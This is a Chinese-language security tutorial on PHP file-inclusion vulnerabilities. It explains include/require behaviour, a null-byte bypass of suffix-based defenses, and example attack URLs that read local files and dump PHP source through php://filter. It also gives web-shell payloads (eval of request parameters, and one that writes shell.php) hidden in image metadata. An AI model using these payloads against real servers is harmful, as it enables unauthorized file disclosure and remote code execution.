前言
文件包含代码及漏洞
文件包含是指在当前PHP位置引入其他PHP文件的所有代码
文件包含
include
- 可以包含相同文件多次
- 当引入失败后,后面的代码能正常执行
<file_php>
:其他php文件
include_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,后面的代码能正常执行
1
| include_once "<file_php>";
|
1
| include_once("<file_php>");
|
require
- 可以包含相同文件多次
- 当引入失败后,不会结束脚本运行,只是产生警告,后面的代码不能正常执行
require_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,直接结束脚本运行,后面的代码不能正常执行
1
| require_once "<file_php>";
|
1
| require_once("<file_php>");
|
可能出现漏洞的代码
- Web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
防御绕过
前提
- PHP小于5.3.4
- 防御方法是为包含的文件追加后缀名
1
| include $_GET['path'].".html";
|
如果不关闭魔术引导,%00
会变为\0
绕过方法
<file_php>
:PHP文件
1
| http://example.com/index.php?path=<file_php>%00
|
漏洞利用
读取文件
http://example.com/index.php?path=c:\windows\System32\drivers\etc\hosts
访问本地文件
http://example.com/index.php?path=file://c:\windows\System32\drivers\etc\hosts
获取PHP文件内容的base64编码
<file_php>
:远程文件
http://example.com/index.php?path=php://filter/read=convert.base64-encode/resource=<file_php>
执行PHP命令
图片木马
<pwd>
:连接密码
- 右键图片文件->
属性
->详细信息
->版权
写<?php eval($_REQUEST["<pwd>"]);?>
利用图片写木马
shell.php
:写入的文件名
- 右键图片文件->
属性
->详细信息
->版权
写<?php fputs(fopen('shell.php','w'),"<?php eval($_REQUEST["<pwd>"]);?>");?>
相关配置
php/php.ini1 2 3 4 5
| allow_url_fopen=On
allow_url_include=Off
|
完成
参考文献
哔哩哔哩——千锋教育网络安全学院